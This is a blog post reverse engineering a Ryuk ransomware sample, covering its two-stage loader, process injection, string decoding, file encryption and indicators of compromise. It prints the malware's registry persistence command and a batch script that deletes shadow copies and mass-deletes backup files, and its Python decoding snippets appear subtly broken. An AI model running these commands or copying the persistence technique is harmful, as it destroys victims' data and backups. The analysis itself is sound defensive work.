This page looks best with JavaScript enabled

Ryuk Malware - Analysis and Reverse Engineering

 ·  ☕ 12 min read  ·  ✍️ suidroot


In this post, I will reverse and analyze a Ryuk malware sample. Ryuk is pretty well-known ransomware that encrypts the contents of a victim’s hard drive. The sample uses two executable stages, one that determines if the system is a 32bit or a 64bit system, then extracts out the appropriate second stage executable onto the file system and executes the second stage. The second stage then attempts to gain persistence through creating a registry key and then finally injects an encryption process into another process and starts to encrypt the file systems leaving behind a Ransom note for the user to find. In the rest of this post, I will write up a detailed analysis and reverse engineering of the Ryuk malware.

Full Analysis

Initial discovery

I downloaded the sample from this site. The first thing that I wanted to ensure that the file that I was working with was what I was expecting. I sent the hash to Virustotal, and it identified by the majority of engines as Ryuk.


Now that I knew I was looking at the correct file I validated the type of executable, finding it was a Windows PE file.

$ file loader.bin
 loader.bin: PE32 executable (GUI) Intel 80386, for MS Windows

Then I ran binwalk to see if there was embedded content, and I found there are 2 PE headers embedded in this file in addition to the main executable.

$ binwalk loader.bin
 0             0x0             Microsoft executable, portable (PE)
 70576         0x113B0         Microsoft executable, portable (PE)
 242704        0x3B410         XML document, version: "1.0"
 245168        0x3BDB0         Microsoft executable, portable (PE)

After some initial light investigation, I dug into the file with Ghidra and x64dbg to build out the flow of the executables. Initially, we will take a look at the first stage that extracts the main payload.

Stage 1

This initial stage has a pretty simple program flow and accomplished a pretty simple task of extracting and executing the appropriate PE or PE+ file for the architecture. The below flowchart gives an overview of the execution path of this stage.

The first task this stage does is to determine the version of Windows the system is running. It does this to determine the location of the default user profile directory (“\Users\Public” or “\Documents and Settings\Default User”). After finding the directory it generates a random 5 character file name, which will have .exe appended to it and used as the file name of the second stage.

The function CreateFileW is run with the created filename to create a handle to write the second stage. However, before writing the second stage data, a procedure using IsWoW64Process is run to determine if the system using a 32bit or 64bit operating system then writes a PE executable for 32bit systems or PE+ executable for 64bit systems. (This process is shown in the Ghidra decompilation) Once the file data is written, ShellExecuteW is called with the file name of the first stage listed as an argument to run the newly created executable, and move on to stage 2.

Stage 2

In my analysis, I used the PE+ binary code to do my detailed work. I did some cursory analysis of the PE binary to make sure there were not any apparent differences in functionality and found it was essentially the same as the PE+ counterpart from a functionality perspective.

bin0.bin: PE32+ executable (GUI) x86-64, for MS Windows
$ ls -l bin0.bin
 -rw-r--r--@ 1 xxx  xxx  174592 Feb 22 00:19 bin0.bin
SHA-1: 92e331e1e8ad30538f38dd7ba31386afafa14a58

I found there are two primary sections of code that I will refer to as WinMain located at memory address 0x140001c80 and RansonMain, which is located at address 0x140002a70. WinMain handles the setup of execution for the encryption section in RansonMain.


I called this function WinMain as it appears to align with the traditional WinMain function in C. This function and its callees as already mentioned setup and inject the encryption processes to start the execution of RansomMain. The following flow chart lays out the flow of this section.

The first activity WinMain does is to delete the first stage. The file is deleted by passing the filename of the first stage as a command-line argument and then calling a function to delete the file. Next, WinMain adds a registry key to the run the second stage on the boot of Windows. I would guess this is in order to obtain a level of persistence. It uses the Windows command line to add the key, calling ShellExecuteW to run the command.

cmd.exe /C REG ADD "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "svchos" /t REG_SZ /d "C:\Users\IEUser\Desktop\ryuk\aSEzD.exe" /f

The example command created the following in the registry on my test system.

After creating the registry key, WinMain then runs a function to check and enable SeDebugPrivilege on the Stage 2 process to ensure it has the correct permission level. This permission is needed to manipulate other processes on this system. Next it a function loops through and creates a list of running processes on the system creating a data structure consisting of a list of 0x210 byte structures laid out in the format:

 |   Process Name      0x208B    |
 |   PSID 0x1B   |   Perm 0x1B   |

The “Perm” contains permission level it was able to acquire to the process. There are 4 permissions levels

0 Can’t open process
5 Can Get Token

After collecting the list of processes, it loops through them and checks a few things. First, it checks the process name to see if it matches “CSRSS.EXE,” “EXPLORER.EXE,” or “LSAAS.EXE” (yup, the last one is a typo in the sample). Then it checks the permissions it was able to get on the process if it’s 5 (Can get Token) or 1 (Has NT Authority). After passing both of these checks, it will call a function to inject the RansomMain into the process. I have named this function WriteProcMemory.

WriteProcMemory is a pretty simple function, and it takes a process name allocates memory in the process then calls CreateRemoteThread to create a thread in that process to execute RansomMain. The loop processes the entire list of processes gathered. After all the processes have been processed, it will execute a function to decode function pointers and then directly execute RansomMain before ending the program. The final 2 steps are similar to what occurs in the injected process and I will cover these functions in more depth.

Remote Thread and RansomMain

The Injected thread first decodes various function pointers used throughout the thread. The majority of the Windows API calls in RansomMain are done via calls by reference to these encoded references. The decoder function located at 0x140005b10, and the key that encodes the various function call is itself encoded and is decoded by an XOR loop at 140005b9a. The code in the next screenshot shows the routine that is used to decode the key.

Key decode routine
After running the above code in a debugger, I grabbed the decoded key and wrote a python function to decode the rest of the function call names. The string variable in this code is a list of the hex values in the encoded library and function names.

def decode(string):
    key_position_1 = 0
    key_position_2 = 0 
    # Key at: 0x1400293c4
    # ASCII: aZIiQ
    keys = [0x62, 0x5a, 0x49, 0x69, 0x51]
    print (len(string), len(keys))
    while key_position_1 < len(string):
        if string[key_position_1] != 0x0:
            decoded = string[key_position_1] ^ keys[key_position_2]
            print (chr(decoded), end = "")

            if key_position_2 < len(keys)-1:
                key_position_2 += 1
                key_position_2 = 0
        key_position_1 += 1

Here is a sample of some of the decoded calls shown in the Ghidra disassembler view.

Decoded function references (Ghidra Disassembler view)
After all of the function calls are decoded, and the function call addresses are resolved into memory. The next function attempts to write a file named “sys” into the default system home directory (“\Users\Public” or “\Documents and Settings\Default User” depending on OS version). If it is unable to create or open the file the function will wait until it can write the file or terminate the process. Otherwise, if it is successful, it will move forward on to RansomMain.

RansomeMain is the main show and handles all of the encryption activities following this general flow in this chart.

The first main activity this function does is to set up an encryption context using legacy Windows encryption APIs. The parameters used in CryptoAquireContextW to create the container are:

Container name: AES_Unique_
Provider: Microsoft Enhanced RSA and AES Cryptographic Provider
Flags: Vary depending on the OS version

After the context is set up, the function loads a RSA Public key from the file location 0x1400293d0. The key is stored as a PUBLICKEYBLOB with the following parameters:

Key Algorithm 0xA400 – RSA public key exchange algorithm
DSS version: 2
Key length: 2048 bit key

The key embedded in the sample Base64 encoded is:

nWvywVbBvz4AYDfaAouzpqlRr9aOb+wCl5MYJPQzMGNhAE+CDfDm4DPIUp0Ud8m/xty5d7N2jiqJbFC04jZf0Kat3AaJXnMeZfXPAQzJKXtMQfnLL /ZQOX4KeDFJ+zfnflDEcKYuQARXxMbJVWBXu7vagRd+8TBJ /6L5FsFWwA9KRr5blLkgRHdfqkLhGaWOqTSUF9btcWdyOg2We5g5ByoxPKtoqO9NjOb/witnj+TpGHeahzwpHzxAsOEisWYneR3RkhSvNh/Qs8OiVwiHFFeBdRJRkEC6UtlTj7obLi55Y7mztJwMI4TbdnMReGiMRlGHuHN9aKKhQssMFKpA==

The next function decodes the ransom note. These values are all encoded using XOR with static keys. There are two different keys used one for the email address and a Bitcoin address. A second key used for the main ransom note. The email addresses and Bitcoin address contained in this sample are:

Memory Location Decoded Data
0x1400249e8 14hVKm7Ft2rxDBFTNkkRC3kGstMGp2A4hk

My assumption is they made the email address and bitcoin address separate from the rest of the note so they can be swapped out easily, keeping the bulk of the text the same. Next, the function decodes the main part of the ransom note. The below python code decodes both the email and Bitcoin strings along with the ransom note itself.

ARRAY_140029b20 = [ ** email 1 in hex ** ]
ARRAY_140029980 = [ ** email 2 in hex **  ]
ARRAY_1400249e8 = [ ** btc addr in hex **  ] 

# 140029500 - 140029798
DAT_RyukReadMe_txt_Buffer = [ **ransom note in hex** ]

# 14001f990
Decode_key_1 = [ **snip key in hex** ]

# 14001f9f0
Decode_key_2 = [ **snip key in hex** ]

s_BTC_wallet_140029868 = "BTC wallet:"
s_No_system_is_safe_140029b40 = "No system is safe"
s_Ryuk_140028e18 = "Ryuk\n "

for i in range(0, 27):
    if (i & 1 == 0 ):
        key = DAT_RyukReadMe_txt_Buffer[i]
        key = Decode_key_1[i]
    print (chr(ARRAY_140029b20[i] ^ key), end = "")
print ("")

for i in range(0, 0x19):
    if (i & 1 == 0 ):
        key = DAT_RyukReadMe_txt_Buffer[i]
       key = Decode_key_1[i]
    print (chr(ARRAY_140029980[i] ^ key), end = "")
print ("")

for i in range(0, 0x22):
    if (i & 1 == 0 ):
        key = DAT_RyukReadMe_txt_Buffer[i]
        key = Decode_key_1[i]
    print (chr(ARRAY_1400249e8[i] ^ key), end = "")
print ("")
print ("")
print ("")
for i in range(0, len(DAT_RyukReadMe_txt_Buffer)):
    print (chr(DAT_RyukReadMe_txt_Buffer[i] ^ Decode_key_2[i]), end="")

After everything is decoded all the text is put together to create the following ransom note that is written to directories where files are encrypted.

Once the ransom note is decrypted RansomMain function gathers a list of all of the file systems on the system. The file system list is collected using the GetLogicalDrives function and checking the file system type using GetDriveTypeW. Then a called function starts to walk through the file system and encrypting the contents of directories.

As the function loops through the file system, it skips over directories named “Windows” , “AhnLabs”, “Chrome”, “Mozilla,” “$Recycle.Bin,” and “WINDOWS.” Once the list of files in a directory has collected, it will write a copy of the ransom note to a file named RyukReadMe.txt then start a Thread to encrypt each file in the directory. The encryption uses the AES 256 algorithm via the Microsoft AES Cryptographic Provider. It will continue this process until the local file systems are encrypted.

Next, it enumerates a list of network shares then follows the same process to encrypt those shares. The list of network shares enumerated using the WNetOpenEnum and WNetEnumResourceW function calls. After the list of shares is generated the network shares are encrypted using the same functions that were used to encrypt local file systems and write the ransom note.

Once the encryption loops are completed, the final call deletes the system shadow copy by creating a file named windows.bat and placing the below command in it and executing it.

"vssadmin Delete Shadows /all /quiet\r\nvssadmin resize shadowstorage /for=c: /on=c: /maxsize=401MB\r\nvssadmin resize shadowstorage /for=c: /on=c: /maxsize=unbounded\r\nvssadmin resize shadowstorage /for=d: /on=d: /maxsize=401MB\r\nvssadmin resize shadowstorage /for=d: /on=d: /maxsize=unbounded\r\nvssadmin resize shadowstorage /for=e: /on=e: /maxsize=401MB\r\nvssadmin resize shadowstorage /for=e: /on=e: /maxsize=unbounded\r\nvssadmin resize shadowstorage /for=f: /on=f: /maxsize=401MB\r\nvssadmin resize shadowstorage /for=f: /on=f: /maxsize=unbounded\r\nvssadmin resize shadowstorage /for=g: /on=g: /maxsize=401MB\r\nvssadmin resize shadowstorage /for=g: /on=g: /maxsize=unbounded\r\nvssadmin resize shadowstorage /for=h: /on=h: /maxsize=401MB\r\nvssadmin resize shadowstorage /for=h: /on=h: /maxsize=unbounded\r\nvssadmin Delete Shadows /all /quiet\r\ndel /s /f /q c:\<em>.VHD c:\</em>.bac c:\<em>.bak c:\</em>.wbcat c:\<em>.bkf c:\Backup</em>.* c:\backup<em>.</em> c:\<em>.set c:\</em>.win c:\<em>.dsk\r\ndel /s /f /q d:\</em>.VHD d:\<em>.bac d:\</em>.bak d:\<em>.wbcat d:\</em>.bkf d:\Backup<em>.</em> d:\backup<em>.</em> d:\<em>.set d:\</em>.win d:\<em>.dsk\r\ndel /s /f /q e:\</em>.VHD e:\<em>.bac e:\</em>.bak e:\<em>.wbcat e:\</em>.bkf e:\Backup<em>.</em> e:\backup<em>.</em> e:\<em>.set e:\</em>.win e:\<em>.dsk\r\ndel /s /f /q f:\</em>.VHD f:\<em>.bac f:\</em>.bak f:\<em>.wbcat f:\</em>.bkf f:\Backup<em>.</em> f:\backup<em>.</em> f:\<em>.set f:\</em>.win f:\<em>.dsk\r\ndel /s /f /q g:\</em>.VHD g:\<em>.bac g:\</em>.bak g:\<em>.wbcat g:\</em>.bkf g:\Backup<em>.</em> g:\backup<em>.</em> g:\<em>.set g:\</em>.win g:\<em>.dsk\r\ndel /s /f /q h:\</em>.VHD h:\<em>.bac h:\</em>.bak h:\<em>.wbcat h:\</em>.bkf h:\Backup<em>.</em> h:\backup<em>.</em> h:\<em>.set h:\</em>.win h:\*.dsk\r\ndel %0"

After the shadow copy is removed the processes exits and Ryuk has done it’s job encrypting all of the data it can find.

Wrap up

To summarize and restate what we just covered, Ryuk has two major stages. The first determines if the OS is 64bit or 32 bit then extracts the appropriate second stage that decodes internal function and other strings it will use. Next, it loops through the local file systems encrypting the majority of files, then it moves on to network shares encrypting the contents of those shares. Finally, before the process ends, it deletes the Volume Shadow Copy.

Ryuk is quite destructive using Windows built-in encryption APIs and a public key to encrypt the files. This is much tougher to break than other malware that uses roll your own encryption techniques. I am not the first nor the last to analyze this piece of malware, but it has been a fun challenge to walk through it and reverse engineer Ryuk’s functionality in detail. To close out this post, I will list out some of the indicators of compromise (IOC) that I found in my analysis.


1st Stage Binary

File Size: 393216  
MD5: 5ac0f050f93f86e69026faea1fbb4450  
SHA-1: 9709774fde9ec740ad6fed8ed79903296ca9d571

2nd Stage Binaries
64 bit PE+

File Size: 174592  
MD5: 31bd0f224e7e74eee2847f43aae23974  
SHA-1: 92e331e1e8ad30538f38dd7ba31386afafa14a58 bin0.bin

32bit PE

File Size: 143440  
MD5: 6391b5b9a29d3fd73dab4c9a8a5fc348  
SHA-1: 057aa7a708e0011abc1d4b990999f072a77d1057 bin1.bin

Registry Key

Location: \\HKEY\_CURRENT\_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\  
Name: “svchos”  
Type: REG\_SZ  
Value: \[Second Stage File name and location\]

Other Files ([] is a random 5 character string)

\\Documents and Settings\\Default User\\\[\].exe  
\\Documents and Settings\\Default User\\sys   
\\Documents and Settings\\Default User\\finish   

Decoded Strings  
BTC Address: 14hVKm7Ft2rxDBFTNkkRC3kGstMGp2A4hk
Share on

Ben Mason
Computer Security – Reverse Engineering – Malware – Electronics Hobbyist – Sometimes Photographer – Spaceflight – Cat Enthusiast